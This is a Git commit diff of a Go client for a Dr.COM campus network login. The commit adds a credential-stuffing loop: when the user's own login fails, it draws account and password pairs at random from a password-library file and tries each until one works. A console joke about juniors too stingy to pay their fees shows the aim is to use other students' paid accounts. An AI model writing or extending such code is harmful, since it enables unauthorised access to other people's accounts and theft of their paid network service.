66// Author: ms2008vip@gmail.com at 2017/8/15 11:10:02
77
88
9- //go:generate goversioninfo -icon=cover .ico
9+ //go:generate goversioninfo -icon=ballet .ico
1010
1111package main
1212
1313import (
1414 "fmt"
15- _ "net/http"
16- _ "net/url"
1715 "os"
1816 "bufio"
19- _ "io/ioutil"
2017 "strings"
21- _ "strconv"
22- _ "math/rand"
18+ "math/rand"
2319 "time"
2420 "flag"
25- _ "github.com/toqueteos/webbrowser"
21+ "github.com/toqueteos/webbrowser"
2622
2723 "./conf"
2824 "./utils"
@@ -44,35 +40,86 @@ func main() {
4440 args := os .Args
4541 if len (args )== 2 && (args [1 ]== "--version" || args [1 ] == "-v" ) {
4642 fmt .Printf ("Git Commit Hash: %s\n " , githash )
47- fmt .Printf ("UTC Build Time: %s\n " , buildstamp )
43+ fmt .Printf ("UTC Build Time : %s\n " , buildstamp )
4844 return
4945 }
5046
51- var err error
52-
5347 flag .Parse ()
5448 if err := conf .Init (); err != nil {
5549 panic (err )
5650 }
5751
58- // 1. challenge
5952 svr := service .New (conf .Conf )
60- if err = svr .Challenge (svr .ChallengeTimes ); err != nil {
53+ userList := fileTolines (FILE )
54+ rand .Seed (time .Now ().Unix ())
55+ count := 1
56+ //fmt.Println(userList)
57+
58+ // 1. challenge
59+ if err := svr .Challenge (svr .ChallengeTimes ); err != nil {
6160 log .Error ("drcomSvc.Challenge(%d) error(%v)" , svr .ChallengeTimes , err )
6261 return
6362 }
6463
6564 // 2. login
66- if err = svr .Login (); err != nil {
65+ if err : = svr .Login (); err != nil {
6766 log .Error ("drcomSvc.Login() error(%v)" , err )
68- return
67+
68+ for {
69+
70+ if count == 1 && len (userList ) == 1 && strings .TrimSpace (userList [0 ]) == "\xef \xbb \xbf " {
71+ fmt .Println ("密码库是空的!" )
72+ fmt .Println ("按下「CTRL + C」终止本程序" )
73+ fmt .Scanln ()
74+ return
75+ } else if len (userList ) == 0 {
76+ fmt .Println ("你的学弟学妹们都太抠了,连费都舍不得充!" )
77+ fmt .Println ("按下「CTRL + C」终止本程序" )
78+ fmt .Scanln ()
79+ return
80+ }
81+
82+ // 速率限制
83+ // if count%1000 == 0 {
84+ // fmt.Printf("processed at least %d iterms\n", count)
85+ // <- time.After(5 * time.Second)
86+ // fmt.Println("go on....")
87+ // }
88+
89+ n := rand .Intn (len (userList ))
90+ line := userList [n ]
91+
92+ // 将测试过的用户移除出当前密码库
93+ userList = append (userList [:n ], userList [n + 1 :]... )
94+ count ++
95+
96+ //userInfo := strings.Split(line, "\t")
97+ userInfo := strings .Fields (line )
98+ if len (userInfo ) < 2 {
99+ log .Critical ("shit happens: unrecognized user info format: %v" , userInfo )
100+ continue
101+ }
102+ account := userInfo [0 ]
103+ password := userInfo [len (userInfo )- 1 ]
104+
105+ // update the account info
106+ svr .Conf .Username = account
107+ svr .Conf .Password = password
108+
109+ if err := svr .Login (); err != nil {
110+ log .Error ("drcomSvc.Login() error(%v)" , err )
111+ } else {
112+ break
113+ }
114+ }
69115 }
70116
117+ webbrowser .Open (URL )
71118 // 3. keepalive
72- count := 0
119+ ping_times := 0
73120 for {
74- count ++
75- if err = svr .Alive (); err != nil {
121+ ping_times ++
122+ if err : = svr .Alive (); err != nil {
76123 log .Error ("drcomSvc.Alive() error(%v)" , err )
77124 return
78125 }
0 commit comments